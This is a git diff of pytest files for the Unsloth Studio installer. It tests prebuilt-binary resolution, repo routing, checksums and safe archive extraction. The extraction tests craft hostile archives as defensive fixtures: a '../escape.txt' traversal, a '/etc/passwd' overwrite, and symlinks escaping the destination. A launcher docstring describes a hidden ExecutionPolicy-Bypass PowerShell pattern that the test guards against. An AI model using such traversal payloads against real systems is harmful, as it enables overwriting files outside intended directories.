+    assert set(payload) == _LEGACY_RESOLVER_KEYS | {"install_kind"}
+    assert payload["install_kind"] == "slim"
+    assert payload["asset"] == SLIM_ASSET
+    assert payload["backend"] == "cuda"
+
+
+def test_resolver_reports_metal_slim_on_macos(tmp_path, monkeypatch, capsys):
+    # Same contract shape on macs: backend stays the accel (metal), the one
+    # additive field says the asset installs slim.
+    bin_dir = _fake_llama_bin_macos(tmp_path)
+    monkeypatch.setattr(
+        M, "installed_llama_runtime", lambda: (bin_dir, SLIM_LLAMA_TAG, "macos-metal-arm64")
+    )
+    host = _host("macos", "arm64", macos_version = (14, 0))
+    payload = _resolver_payload(monkeypatch, capsys, _macos_slim_manifest(), host)
+    assert set(payload) == _LEGACY_RESOLVER_KEYS | {"install_kind"}
+    assert payload["install_kind"] == "slim"
+    assert payload["asset"] == MAC_SLIM_ASSET
+    assert payload["backend"] == "metal"
+    assert payload["requested_backend"] == "metal"
diff --git a/tests/studio/install/test_launch_studio_launcher.py b/tests/studio/install/test_launch_studio_launcher.py
index a7396aaf5d..1c12024f6d 100644
--- a/tests/studio/install/test_launch_studio_launcher.py
+++ b/tests/studio/install/test_launch_studio_launcher.py
@@ -1,4 +1,4 @@
-"""Guard install.ps1's Studio launcher against the AV-heuristic shape (Kaspersky
+"""Guard install.ps1's Unsloth launcher against the AV-heuristic shape (Kaspersky
 HEUR:Trojan.VBS.Agent.gen): a WScript .vbs spawning a hidden ExecutionPolicy-Bypass PowerShell.
 The shortcut must stay windowless via powershell.exe -WindowStyle Hidden over launch-studio.ps1,
 never a .vbs/WScript.Shell.Run wrapper, and any pre-existing .vbs must be deleted on upgrade."""
diff --git a/tests/studio/install/test_llama_pr_force_and_source.py b/tests/studio/install/test_llama_pr_force_and_source.py
index 8f40c9d720..4ff8c349c3 100644
--- a/tests/studio/install/test_llama_pr_force_and_source.py
+++ b/tests/studio/install/test_llama_pr_force_and_source.py
@@ -362,8 +362,11 @@ class TestSourcePatternsSh:
         assert '_LLAMA_SOURCE="${_DEFAULT_LLAMA_SOURCE}"' in self.content
 
     def test_release_repo_override_removed(self):
+        # No env-based release-repo override, and CPU-only hosts no longer fall
+        # back to ggml-org -- every host now routes to the fork.
         assert "UNSLOTH_LLAMA_RELEASE_REPO:-unslothai/llama.cpp" not in self.content
-        assert '_HELPER_RELEASE_REPO="ggml-org/llama.cpp"' in self.content
+        assert '_HELPER_RELEASE_REPO="unslothai/llama.cpp"' in self.content
+        assert '_HELPER_RELEASE_REPO="ggml-org/llama.cpp"' not in self.content
 
     def test_force_compile_skips_prebuilt_resolution_early(self):
         assert 'if [ "$_LLAMA_FORCE_COMPILE" = "1" ]; then' in self.content
@@ -425,12 +428,11 @@ class TestSourcePatternsPs1:
         assert "$LlamaSource = $DefaultLlamaSource" in self.content
 
     def test_release_repo_override_removed(self):
-        # Repo chosen by GPU detection (GPU -> fork, CPU -> ggml-org), no env override.
+        # No env-based release-repo override; every host now routes to the fork
+        # (the CPU-only ggml-org fallback was removed), mirroring setup.sh.
         assert "$HelperReleaseRepo = if ($env:UNSLOTH_LLAMA_RELEASE_REPO)" not in self.content
-        assert (
-            "$HelperReleaseRepo = if ($HasNvidiaSmi -or $HasROCm -or $script:ROCmGfxArch) "
-            '{ "unslothai/llama.cpp" } else { "ggml-org/llama.cpp" }' in self.content
-        )
+        assert '$HelperReleaseRepo = "unslothai/llama.cpp"' in self.content
+        assert "$HelperReleaseRepo = if (" not in self.content
 
     def test_force_compile_skips_prebuilt_resolution_early(self):
         assert 'if ($env:UNSLOTH_LLAMA_FORCE_COMPILE -eq "1") {' in self.content
diff --git a/tests/studio/install/test_managed_node_runtime.py b/tests/studio/install/test_managed_node_runtime.py
index 0dbc6788ca..17c7e3e60f 100644
--- a/tests/studio/install/test_managed_node_runtime.py
+++ b/tests/studio/install/test_managed_node_runtime.py
@@ -3,7 +3,7 @@
 
 """Tests for the runtime managed-Node resolver (studio/backend/utils/node_runtime.py).
 
-The Studio frontend installer may provision an isolated Node under
+The Unsloth frontend installer may provision an isolated Node under
 ``<UNSLOTH_HOME>/node`` that is never added to the user's PATH. The backend OXC
 validator must still find a usable Node at runtime: a version-adequate system
 Node, else the managed isolated one. These tests pin that resolution and the
diff --git a/tests/studio/install/test_pr4562_bugfixes.py b/tests/studio/install/test_pr4562_bugfixes.py
index a8cec0cb85..0d2b092924 100644
--- a/tests/studio/install/test_pr4562_bugfixes.py
+++ b/tests/studio/install/test_pr4562_bugfixes.py
@@ -658,15 +658,21 @@ class TestSourceCodePatterns:
         assert "_HELPER_RELEASE_REPO}/releases/latest" not in content
         assert "ggml-org/llama.cpp/releases/latest" not in content
 
-    def test_setup_sh_routes_to_fork_only_on_usable_gpu(self):
-        """Linux routing gates NVIDIA on GPU usability, not nvidia-smi presence, so
-        CPU-only/hidden-GPU hosts get the ggml CPU prebuilt. Guards the old presence-only loop."""
+    def test_setup_sh_routes_every_host_to_fork(self):
+        """CPU-only Linux (the last ggml-org artifact consumer) now routes to the
+        fork like every other host, so the release-repo decision is unconditional.
+        Guards against a silent reintroduction of a ggml-org CPU routing branch.
+        GPU usability detection (used for PyTorch / source decisions) must stay."""
         content = SETUP_SH.read_text()
+        assert '_HELPER_RELEASE_REPO="unslothai/llama.cpp"' in content
+        assert '_HELPER_RELEASE_REPO="ggml-org/llama.cpp"' not in content
+        # Usability gating (not routing) still distinguishes a hidden GPU.
         assert '[ "$_setup_nvidia_usable" = true ]' in content
         assert "CUDA_VISIBLE_DEVICES" in content
-        # nvidia-smi must NOT be back in the bare presence loop.
-        assert "for _GPU_TOOL in nvidia-smi" not in content
-        assert "for _GPU_TOOL in rocminfo amd-smi hipconfig hipinfo" in content
+        # The GPU-tooling probe (PR #4562) stays: ROCm detection goes through
+        # command -v, not a bare presence loop that mishandled a hidden nvidia-smi.
+        assert "command -v rocminfo" in content
+        assert "command -v amd-smi" in content
 
     def test_setup_sh_reports_installed_prebuilt_release(self):
         """Shell wrapper should report the installed prebuilt release from metadata."""
diff --git a/tests/studio/install/test_pr5940_followups.py b/tests/studio/install/test_pr5940_followups.py
index ac6a96167a..dd2a7ec487 100644
--- a/tests/studio/install/test_pr5940_followups.py
+++ b/tests/studio/install/test_pr5940_followups.py
@@ -420,7 +420,7 @@ def test_ps_installers_gate_amd_smi_on_windows():
         assert (
             "UNSLOTH_SETUP_PYTHON" in text
         ), f"{ps.name} venv-internal check must seed the venv root from UNSLOTH_SETUP_PYTHON"
-        # A custom Studio home moves the venv off the default path; it must be
+        # A custom Unsloth home moves the venv off the default path; it must be
         # seeded too or its hipInfo escapes the filter and reopens the gate.
         assert (
             "UNSLOTH_STUDIO_HOME" in text
@@ -429,7 +429,7 @@ def test_ps_installers_gate_amd_smi_on_windows():
 
 @pytest.mark.parametrize("ps", [_INSTALL_PS1, _SETUP_PS1], ids = ["install.ps1", "setup.ps1"])
 def test_ps_venv_probe_expands_tilde_for_custom_studio_home(ps):
-    # The probe seeds the venv root from a custom Studio home; a ~\studio form
+    # The probe seeds the venv root from a custom Unsloth home; a ~\studio form
     # must expand to USERPROFILE like the canonical resolver, else GetFullPath
     # keeps the literal ~ (cwd-relative) and the hipInfo escapes the filter.
     text = ps.read_text(encoding = "utf-8")
@@ -439,7 +439,7 @@ def test_ps_venv_probe_expands_tilde_for_custom_studio_home(ps):
     block = text[i:j]
     assert "USERPROFILE" in block and ".Substring(1)" in block, (
         f"{ps.name}: the venv-internal probe must expand a leading ~ in the custom "
-        "Studio home before seeding the venv root (mirroring the canonical resolver)"
+        "Unsloth home before seeding the venv root (mirroring the canonical resolver)"
     )
     # The ~ expansion must be guarded on a non-empty USERPROFILE; otherwise
     # Join-Path $env:USERPROFILE throws on a service/SYSTEM account with no profile,
@@ -784,7 +784,7 @@ def test_install_python_stack_windows_rocm_repair_pins_and_is_nonfatal():
         assert re.search(
             r'"' + gfx + r'":\s*_ROCM_TORCH_PKG_SPECS\["rocm7\.2"\]', text
         ), f"{gfx} must pin to the rocm7.2 trio like install.ps1/setup.ps1"
-    i = text.find('f"ROCm torch (Windows, {gfx_arch})"')
+    i = text.find("f\"ROCm torch (Windows, {gfx_arch or 'pinned'})\"")
     assert i != -1, "Windows ROCm repair pip call not found"
     # The nearest preceding call must be the nonfatal pip_install_try, not pip_install.
     j = text.rfind("pip_install_try(", 0, i)
diff --git a/tests/studio/install/test_prebuilt_core.py b/tests/studio/install/test_prebuilt_core.py
new file mode 100644
index 0000000000..4d1c37b8da
--- /dev/null
+++ b/tests/studio/install/test_prebuilt_core.py
@@ -0,0 +1,918 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Shared descriptor-parameterized tests for studio/prebuilt_core.py.
+
+Runs the component-agnostic core against BOTH shipped descriptors -- the real
+whisper descriptor exported by install_whisper_prebuilt and a llama-flavored
+descriptor built here the way a hypothetical third ggml-family component would
+plug in (descriptor only, no installer module). Covers os/arch selection,
+checksum fail-closed behavior, extraction guards, the resolver payload, and the
+ops monkeypatch seam, so a new component gets this coverage for free.
+
+The llama installer's shipped release-plan machinery is intentionally NOT
+routed through the generic flow (its characterization suites pin it); the
+llama descriptor here exercises the canonical dialect a future migration
+would use, including the "no fallback backend -> report no prebuilt" policy.
+"""
+
+import importlib.util
+import io
+import json
+import sys
+import tarfile
+import zipfile
+from pathlib import Path
+from types import SimpleNamespace
+
+import pytest
+
+PACKAGE_ROOT = Path(__file__).resolve().parents[3]
+STUDIO_DIR = PACKAGE_ROOT / "studio"
+if str(STUDIO_DIR) not in sys.path:
+    sys.path.insert(0, str(STUDIO_DIR))
+
+SPEC = importlib.util.spec_from_file_location(
+    "studio_prebuilt_core", STUDIO_DIR / "prebuilt_core.py"
+)
+assert SPEC is not None and SPEC.loader is not None
+core = importlib.util.module_from_spec(SPEC)
+sys.modules[SPEC.name] = core
+SPEC.loader.exec_module(core)
+
+WSPEC = importlib.util.spec_from_file_location(
+    "studio_install_whisper_prebuilt_for_core", STUDIO_DIR / "install_whisper_prebuilt.py"
+)
+assert WSPEC is not None and WSPEC.loader is not None
+iwp = importlib.util.module_from_spec(WSPEC)
+sys.modules[WSPEC.name] = iwp
+WSPEC.loader.exec_module(iwp)
+
+
+LLAMA_DESCRIPTOR = core.ComponentDescriptor(
+    component = "llama.cpp",
+    log_prefix = "llama-prebuilt",
+    published_repo = "unslothai/llama.cpp",
+    manifest_asset_name = "llama-prebuilt-manifest.json",
+    sha256_asset_name = "llama-prebuilt-sha256.json",
+    metadata_filename = "UNSLOTH_LLAMA_PREBUILT_INFO.json",
+    user_agent = "unsloth-studio-llama-prebuilt",
+    # A GPU-selection miss reports "no prebuilt" so the caller can fall back to
+    # a source build instead of silently degrading to CPU.
+    fallback_backend = None,
+    server_binary_name = lambda host: "llama-server",
+    runtime_bin_dir = lambda install_dir, host: install_dir / "build" / "bin",
+)
+
+
+class Component:
+    """One descriptor under test plus the mutable namespace behind its ops."""
+
+    def __init__(self, descriptor):
+        self.descriptor = descriptor
+        self.namespace = core.component_namespace(descriptor)
+        self.namespace["log"] = lambda message: None  # keep test output quiet
+        self.ops = core.ModuleOps(self.namespace)
+
+    @property
+    def falls_back_to_cpu(self):
+        return self.descriptor.fallback_backend == "cpu"
+
+
+@pytest.fixture(params = ["whisper", "llama"])
+def component(request):
+    if request.param == "whisper":
+        return Component(iwp.DESCRIPTOR)
+    return Component(LLAMA_DESCRIPTOR)
+
+
+def make_host(
+    component,
+    *,
+    os_token = "linux",
+    arch_token = "x64",
+    is_windows = False,
+    is_macos = False,
+    is_apple_silicon = False,
+    has_usable_nvidia = False,
+    has_rocm = False,
+    rocm_gfx = None,
+    macos_version = None,
+):
+    if component.descriptor is iwp.DESCRIPTOR:
+        return iwp.HostInfo(
+            system = {"linux": "Linux", "macos": "Darwin", "windows": "Windows"}[os_token],
+            machine = "x86_64" if arch_token == "x64" else "arm64",
+            whisper_os = os_token,
+            whisper_arch = arch_token,
+            archive_ext = ".zip" if is_windows else ".tar.gz",
+            is_windows = is_windows,
+            is_macos = is_macos,
+            is_apple_silicon = is_apple_silicon,
+            has_usable_nvidia = has_usable_nvidia,
+            has_rocm = has_rocm,
+            rocm_gfx = rocm_gfx,
+            macos_version = macos_version,
+        )
+    # Descriptor-only component: the core default host_platform_tokens hook
+    # reads .os_token/.arch_token off a plain host object.
+    return SimpleNamespace(
+        os_token = os_token,
+        arch_token = arch_token,
+        is_windows = is_windows,
+        is_macos = is_macos,
+        is_apple_silicon = is_apple_silicon,
+        has_usable_nvidia = has_usable_nvidia,
+        has_rocm = has_rocm,
+        rocm_gfx = rocm_gfx,
+        macos_version = macos_version,
+    )
+
+
+def artifact(
+    os_ = "linux",
+    arch = "x64",
+    backend = "cpu",
+    asset = "bundle.tar.gz",
+    **extra,
+):
+    payload = {"os": os_, "arch": arch, "backend": backend, "asset": asset}
+    payload.update(extra)
+    return payload
+
+
+def manifest_for(component, artifacts, **extra):
+    payload = {
+        "schema_version": 1,
+        "component": extra.pop("component_name", component.descriptor.component),
+        "upstream_tag": "v1.0.0",
+        "source_commit": "a" * 40,
+        "artifacts": artifacts,
+    }
+    payload.update(extra)
+    return payload
+
+
+# ── Manifest parsing ──
+def test_parse_manifest_normalizes(component):
+    manifest = component.ops.parse_manifest(
+        manifest_for(component, [artifact(), "not-a-dict", {"os": "linux"}]), label = "m"
+    )
+    assert manifest["component"] == component.descriptor.component
+    assert manifest["upstream_tag"] == "v1.0.0"
+    # Non-dict entries and entries without an asset name are dropped.
+    assert [a["asset"] for a in manifest["artifacts"]] == ["bundle.tar.gz"]
+
+
+def test_parse_manifest_rejects_wrong_component(component):
+    with pytest.raises(core.PrebuiltFallback):
+        component.ops.parse_manifest(
+            manifest_for(component, [artifact()], component_name = "other.cpp"), label = "m"
+        )
+
+
+def test_parse_manifest_rejects_unknown_schema(component):
+    with pytest.raises(core.PrebuiltFallback):
+        component.ops.parse_manifest(
+            manifest_for(component, [artifact()], schema_version = 99), label = "m"
+        )
+
+
+def test_parse_manifest_rejects_non_object(component):
+    with pytest.raises(core.PrebuiltFallback):
+        component.ops.parse_manifest(["nope"], label = "m")
+    # An object without an 'artifacts' list is rejected too.
+    with pytest.raises(core.PrebuiltFallback):
+        component.ops.parse_manifest(
+            {"schema_version": 1, "component": component.descriptor.component}, label = "m"
+        )
+
+
+# ── Selection matrix ──
+def test_select_cpu_first_match(component):
+    manifest = component.ops.parse_manifest(
+        manifest_for(
+            component,
+            [
+                artifact(backend = "cpu", asset = "first-cpu.tar.gz"),
+                artifact(backend = "cpu", asset = "second-cpu.tar.gz"),
+            ],
+        ),
+        label = "m",
+    )
+    host = make_host(component)
+    chosen = component.ops.select_artifact(manifest, host, "cpu")
+    assert chosen["asset"] == "first-cpu.tar.gz"
+
+
+def test_select_respects_os_arch(component):
+    manifest = component.ops.parse_manifest(
+        manifest_for(component, [artifact(os_ = "windows", backend = "cpu")]), label = "m"
+    )
+    host = make_host(component)
+    assert component.ops.select_artifact(manifest, host, "cpu") is None
+
+
+def test_fallback_policy_differs_per_descriptor(component):
+    # No asset for the requested backend: whisper degrades to the CPU asset of
+    # the same release, the llama-flavored descriptor reports no prebuilt
+    # (source-build fallback).
+    manifest = component.ops.parse_manifest(
+        manifest_for(component, [artifact(backend = "cpu", asset = "cpu.tar.gz")]), label = "m"
+    )
+    host = make_host(component, has_usable_nvidia = True)
+    assert component.ops.select_artifact(manifest, host, "cuda") is None
+    if component.falls_back_to_cpu:
+        chosen, backend, used_fallback = component.ops.select_artifact_with_fallback(
+            manifest, host, "cuda"
+        )
+        assert (chosen["asset"], backend, used_fallback) == ("cpu.tar.gz", "cpu", True)
+    else:
+        with pytest.raises(core.PrebuiltFallback):
+            component.ops.select_artifact_with_fallback(manifest, host, "cuda")
+
+
+def test_macos_min_os_gate(component):
+    manifest = component.ops.parse_manifest(
+        manifest_for(
+            component,
+            [
+                artifact(
+                    os_ = "macos",
+                    arch = "arm64",
+                    backend = "metal",
+                    asset = "metal-new.tar.gz",
+                    min_os = "macos-15.0",
+                )
+            ],
+        ),
+        label = "m",
+    )
+    old_host = make_host(
+        component,
+        os_token = "macos",
+        arch_token = "arm64",
+        is_macos = True,
+        is_apple_silicon = True,
+        macos_version = (14, 7),
+    )
+    new_host = make_host(
+        component,
+        os_token = "macos",
+        arch_token = "arm64",
+        is_macos = True,
+        is_apple_silicon = True,
+        macos_version = (15, 1),
+    )
+    assert component.ops.select_artifact(manifest, old_host, "metal") is None
+    chosen = component.ops.select_artifact(manifest, new_host, "metal")
+    assert chosen["asset"] == "metal-new.tar.gz"
+
+
+def _metal_artifact(asset, min_os):
+    return artifact(
+        os_ = "macos",
+        arch = "arm64",
+        backend = "metal",
+        asset = asset,
+        min_os = min_os,
+    )
+
+
+def _arm_mac_host(component, macos_version):
+    return make_host(
+        component,
+        os_token = "macos",
+        arch_token = "arm64",
+        is_macos = True,
+        is_apple_silicon = True,
+        macos_version = macos_version,
+    )
+
+
+def test_macos_min_os_filters_to_compatible_bundle(component):
+    # host 14.0 can't load the 15.0 bundle; the 13.0 bundle is picked instead.
+    manifest = component.ops.parse_manifest(
+        manifest_for(
+            component,
+            [
+                _metal_artifact("metal-new.tar.gz", "macos-15.0"),
+                _metal_artifact("metal.tar.gz", "macos-13.0"),
+            ],
+        ),
+        label = "m",
+    )
+    host = _arm_mac_host(component, (14, 0))
+    assert component.ops.select_artifact(manifest, host, "metal")["asset"] == "metal.tar.gz"
+
+
+def test_macos_min_os_unknown_host_version_keeps_artifact(component):
+    # Unknown host macOS version -> defer to runtime validation, don't reject.
+    manifest = component.ops.parse_manifest(
+        manifest_for(component, [_metal_artifact("metal-new.tar.gz", "macos-15.0")]), label = "m"
+    )
+    host = _arm_mac_host(component, None)
+    assert component.ops.select_artifact(manifest, host, "metal")["asset"] == "metal-new.tar.gz"
+
+
+def test_macos_min_os_accepts_bare_version_format(component):
+    # A bare "14.0" (no 'macos-' prefix) must still parse, for forward-compat.
+    manifest = component.ops.parse_manifest(
+        manifest_for(component, [_metal_artifact("metal.tar.gz", "14.0")]), label = "m"
+    )
+    host = _arm_mac_host(component, (13, 0))
+    assert component.ops.select_artifact(manifest, host, "metal") is None  # 13.0 < 14.0
+
+
+def test_macos_min_os_ok_helper_handles_prefix_and_bare(component):
+    host14 = _arm_mac_host(component, (14, 0))
+    # The live manifest format is 'macos-<ver>'; the prefix must be stripped.
+    assert component.ops.macos_min_os_ok(host14, "macos-14.0") is True
+    assert component.ops.macos_min_os_ok(host14, "macos-15.0") is False
+    assert component.ops.macos_min_os_ok(host14, "13.3") is True  # bare also parses
+    assert component.ops.macos_min_os_ok(host14, None) is True  # unknown -> defer
+    host_unknown = _arm_mac_host(component, None)
+    assert component.ops.macos_min_os_ok(host_unknown, "macos-15.0") is True
+
+
+# ── Backend resolution ──
+def test_resolve_backend_auto_and_validation(component):
+    gpu_host = make_host(component, has_usable_nvidia = True)
+    assert component.ops.resolve_backend(gpu_host, "auto", cpu_fallback = False) == "cuda"
+    assert component.ops.resolve_backend(gpu_host, "auto", cpu_fallback = True) == "cpu"
+    # --cpu-fallback wins over an explicit backend too.
+    assert component.ops.resolve_backend(gpu_host, "cuda", cpu_fallback = True) == "cpu"
+    # An explicit supported backend passes through untouched.
+    assert component.ops.resolve_backend(gpu_host, "vulkan", cpu_fallback = False) == "vulkan"
+    mac_host = make_host(
+        component, os_token = "macos", arch_token = "arm64", is_macos = True, is_apple_silicon = True
+    )
+    assert component.ops.resolve_backend(mac_host, None, cpu_fallback = False) == "metal"
+    # Intel mac has no Metal bundle in the P0 matrix -> cpu.
+    intel_mac = make_host(component, os_token = "macos", arch_token = "x64", is_macos = True)
+    assert component.ops.resolve_backend(intel_mac, "auto", cpu_fallback = False) == "cpu"
+    rocm_host = make_host(component, has_rocm = True, rocm_gfx = "gfx1100")
+    assert component.ops.resolve_backend(rocm_host, "auto", cpu_fallback = False) == "rocm"
+    bare_host = make_host(component)
+    assert component.ops.resolve_backend(bare_host, None, cpu_fallback = False) == "cpu"
+    with pytest.raises(core.PrebuiltFallback):
+        component.ops.resolve_backend(gpu_host, "tpu", cpu_fallback = False)
+
+
+# ── Checksum index: fail closed ──
+def _index_for(
+    component,
+    tag = "v1",
+    artifacts = None,
+):
+    return {
+        "schema_version": 1,
+        "component": component.descriptor.component,
+        "release_tag": tag,
+        "artifacts": artifacts
+        if artifacts is not None
+        else {"bundle.tar.gz": {"sha256": "0" * 64}},
+    }
+
+
+def test_parse_release_checksums_valid(component):
+    out = component.ops.parse_release_checksums("r", "v1", _index_for(component))
+    assert out == {"bundle.tar.gz": "0" * 64}
+
+
+@pytest.mark.parametrize(
+    "mutation",
+    [
+        {"component": "other.cpp"},
+        {"schema_version": 99},
+        {"release_tag": "v2"},
+        {"artifacts": {"bundle.tar.gz": {"sha256": "nope"}}},
+        {"artifacts": "not-a-map"},
+    ],
+)
+def test_parse_release_checksums_fails_closed(component, mutation):
+    payload = _index_for(component)
+    payload.update(mutation)
+    with pytest.raises(core.PrebuiltFallback):
+        component.ops.parse_release_checksums("r", "v1", payload)
+
+
+def test_parse_release_checksums_rejects_non_object(component):
+    with pytest.raises(core.PrebuiltFallback):
+        component.ops.parse_release_checksums("r", "v1", ["not", "a", "dict"])
+
+
+def test_expected_sha256_covered_asset_plain_lookup(component):
+    assert component.ops.expected_sha256_for({"a.tar.gz": "0" * 64}, "a.tar.gz") == "0" * 64
+
+
+def test_expected_sha256_missing_asset_fails_closed(component):
+    with pytest.raises(core.PrebuiltFallback):
+        component.ops.expected_sha256_for({"a.tar.gz": "0" * 64}, "b.tar.gz")
+
+
+def test_expected_sha256_manifest_disagreement_fails_closed(component):
+    with pytest.raises(core.PrebuiltFallback):
+        component.ops.expected_sha256_for(
+            {"a.tar.gz": "0" * 64}, "a.tar.gz", manifest_sha256 = "1" * 64
+        )
+    assert (
+        component.ops.expected_sha256_for(
+            {"a.tar.gz": "0" * 64}, "a.tar.gz", manifest_sha256 = "0" * 64
+        )
+        == "0" * 64
+    )
+
+
+# ── Extraction guards ──
+def test_extract_archive_rejects_traversal(tmp_path):
+    archive = tmp_path / "evil.tar.gz"
+    with tarfile.open(archive, "w:gz") as tar:
+        data = b"x"
+        info = tarfile.TarInfo("../escape.txt")
+        info.size = len(data)
+        tar.addfile(info, io.BytesIO(data))
+    with pytest.raises(core.PrebuiltFallback):
+        core.extract_archive(archive, tmp_path / "out")
+
+
+def test_extract_archive_rejects_absolute_member(tmp_path):
+    archive = tmp_path / "abs.tar.gz"
+    with tarfile.open(archive, "w:gz") as tar:
+        data = b"x"
+        info = tarfile.TarInfo("/abs.txt")
+        info.size = len(data)
+        tar.addfile(info, io.BytesIO(data))
+    with pytest.raises(core.PrebuiltFallback):
+        core.extract_archive(archive, tmp_path / "out")
+
+
+def test_extract_archive_rejects_zip_symlink(tmp_path):
+    archive = tmp_path / "link.zip"
+    with zipfile.ZipFile(archive, "w") as zf:
+        info = zipfile.ZipInfo("link")
+        info.create_system = 3
+        info.external_attr = 0o120777 << 16
+        zf.writestr(info, "target")
+    with pytest.raises(core.PrebuiltFallback, match = "zip archive contained a symlink entry"):
+        core.extract_archive(archive, tmp_path / "out")
+
+
+def test_extract_archive_rejects_absolute_zip_member(tmp_path):
+    archive = tmp_path / "abs.zip"
+    with zipfile.ZipFile(archive, "w") as zf:
+        zf.writestr("/etc/passwd", b"pwn")
+    with pytest.raises(core.PrebuiltFallback):
+        core.extract_archive(archive, tmp_path / "out")
+
+
+def test_extract_archive_allows_safe_tar_symlink_chain(tmp_path):
+    archive = tmp_path / "bundle.tar.gz"
+    payload = b"shared-object"
+    with tarfile.open(archive, "w:gz") as tar:
+        versioned = tarfile.TarInfo("libllama.so.0.0.1")
+        versioned.size = len(payload)
+        tar.addfile(versioned, io.BytesIO(payload))
+        soname = tarfile.TarInfo("libllama.so.0")
+        soname.type = tarfile.SYMTYPE
+        soname.linkname = "libllama.so.0.0.1"
+        tar.addfile(soname)
+        linker_name = tarfile.TarInfo("libllama.so")
+        linker_name.type = tarfile.SYMTYPE
+        linker_name.linkname = "libllama.so.0"
+        tar.addfile(linker_name)
+    destination = tmp_path / "extract"
+    core.extract_archive(archive, destination)
+    assert (destination / "libllama.so.0.0.1").read_bytes() == payload
+    assert (destination / "libllama.so.0").is_symlink()
+    assert (destination / "libllama.so").is_symlink()
+    assert (destination / "libllama.so").resolve().read_bytes() == payload
+
+
+def test_extract_archive_allows_safe_tar_hardlink(tmp_path):
+    archive = tmp_path / "bundle.tar.gz"
+    payload = b"quantize"
+    with tarfile.open(archive, "w:gz") as tar:
+        target = tarfile.TarInfo("llama-quantize")
+        target.size = len(payload)
+        tar.addfile(target, io.BytesIO(payload))
+        hardlink = tarfile.TarInfo("llama-quantize-copy")
+        hardlink.type = tarfile.LNKTYPE
+        hardlink.linkname = "llama-quantize"
+        tar.addfile(hardlink)
+    destination = tmp_path / "extract"
+    core.extract_archive(archive, destination)
+    assert (destination / "llama-quantize-copy").read_bytes() == payload
+    assert not (destination / "llama-quantize-copy").is_symlink()
+
+
+def test_extract_archive_rejects_absolute_tar_symlink_target(tmp_path):
+    archive = tmp_path / "bundle.tar.gz"
+    with tarfile.open(archive, "w:gz") as tar:
+        entry = tarfile.TarInfo("libllama.so")
+        entry.type = tarfile.SYMTYPE
+        entry.linkname = "/tmp/libllama.so.0"
+        tar.addfile(entry)
+    with pytest.raises(core.PrebuiltFallback, match = "archive link used an absolute target"):
+        core.extract_archive(archive, tmp_path / "extract")
+
+
+def test_extract_archive_rejects_escaping_tar_symlink_target(tmp_path):
+    archive = tmp_path / "bundle.tar.gz"
+    with tarfile.open(archive, "w:gz") as tar:
+        entry = tarfile.TarInfo("libllama.so")
+        entry.type = tarfile.SYMTYPE
+        entry.linkname = "../outside/libllama.so.0"
+        tar.addfile(entry)
+    with pytest.raises(core.PrebuiltFallback, match = "archive link escaped destination"):
+        core.extract_archive(archive, tmp_path / "extract")
+
+
+def test_extract_archive_rejects_unresolved_tar_symlink_target(tmp_path):
+    archive = tmp_path / "bundle.tar.gz"
+    with tarfile.open(archive, "w:gz") as tar:
+        entry = tarfile.TarInfo("libllama.so")
+        entry.type = tarfile.SYMTYPE
+        entry.linkname = "libllama.so.0"
+        tar.addfile(entry)
+    with pytest.raises(core.PrebuiltFallback, match = "unresolved link entries"):
+        core.extract_archive(archive, tmp_path / "extract")
+
+
+def test_extract_archive_rejects_unknown_format(tmp_path):
+    archive = tmp_path / "blob.xz"
+    archive.write_bytes(b"data")
+    with pytest.raises(core.PrebuiltFallback):
+        core.extract_archive(archive, tmp_path / "out")
+
+
+def test_restore_tar_exec_bits(tmp_path):
+    payload = tmp_path / "server"
+    payload.write_bytes(b"#!/bin/sh\n")
+    payload.chmod(0o755)
+    archive = tmp_path / "bundle.tar.gz"
+    with tarfile.open(archive, "w:gz") as tar:
+        tar.add(payload, arcname = "bundle/server")
+    out = tmp_path / "out"
+    core.extract_archive(archive, out)
+    extracted = out / "bundle" / "server"
+    assert extracted.is_file()
+    core.restore_tar_exec_bits(archive, out)
+    assert extracted.stat().st_mode & 0o111
+
+
+# ── Resolver payload ──
+def _fake_release(component, artifacts):
+    ns = component.namespace
+    manifest = component.ops.parse_manifest(manifest_for(component, artifacts), label = "m")
+    bundle = core.ReleaseBundle(
+        repo = component.descriptor.published_repo,
+        release_tag = "v1",
+        manifest = manifest,
+        asset_urls = {},
+    )
+    checksums = {str(a["asset"]): "0" * 64 for a in artifacts}
+    ns["fetch_release_for_install"] = lambda repo, *, published_release_tag: (bundle, checksums)
+    return bundle
+
+
+def test_resolve_prebuilt_payload_keys(component):
+    _fake_release(component, [artifact(backend = "cpu", asset = "cpu.tar.gz")])
+    host = make_host(component)
+    payload = component.ops.resolve_prebuilt(
+        host,
+        published_repo = component.descriptor.published_repo,
+        published_release_tag = None,
+        backend = "cpu",
+        cpu_fallback = True,
+    )
+    assert payload == {
+        "prebuilt_available": True,
+        "repo": component.descriptor.published_repo,
+        "release_tag": "v1",
+        "upstream_tag": "v1.0.0",
+        "backend": "cpu",
+        "requested_backend": "cpu",
+        "cpu_fallback": False,
+        "asset": "cpu.tar.gz",
+        "os": "linux",
+        "arch": "x64",
+        "runtime_line": None,
+    }
+
+
+def test_resolve_prebuilt_unavailable_payload(component):
+    ns = component.namespace
+
+    def boom(repo, *, published_release_tag):
+        raise core.PrebuiltFallback("no release")
+
+    ns["fetch_release_for_install"] = boom
+    host = make_host(component)
+    payload = component.ops.resolve_prebuilt(
+        host,
+        published_repo = component.descriptor.published_repo,
+        published_release_tag = None,
+        backend = "cpu",
+        cpu_fallback = True,
+    )
+    assert payload == {"prebuilt_available": False, "repo": component.descriptor.published_repo}
+
+
+def test_emit_resolver_output_formats(capsys):
+    payload = {"prebuilt_available": True, "asset": "a.tar.gz"}
+    core.emit_resolver_output(payload, output_format = "json")
+    assert json.loads(capsys.readouterr().out) == payload
+    core.emit_resolver_output(payload, output_format = "plain")
+    assert capsys.readouterr().out.strip() == "a.tar.gz"
+    core.emit_resolver_output({"prebuilt_available": False}, output_format = "plain")
+    assert json.loads(capsys.readouterr().out) == {"prebuilt_available": False}
+
+
+# ── Marker / fingerprint ──
+def test_install_fingerprint_is_stable_and_sensitive(component):
+    kwargs = dict(
+        published_repo = component.descriptor.published_repo,
+        release_tag = "v1",
+        upstream_tag = "v1.0.0",
+        source_commit = "a" * 40,
+        asset = "cpu.tar.gz",
+        asset_sha256 = "0" * 64,
+        backend = "cpu",
+        runtime_line = None,
+        coverage = {},
+    )
+    first = core.compute_install_fingerprint(**kwargs)
+    assert first == core.compute_install_fingerprint(**kwargs)
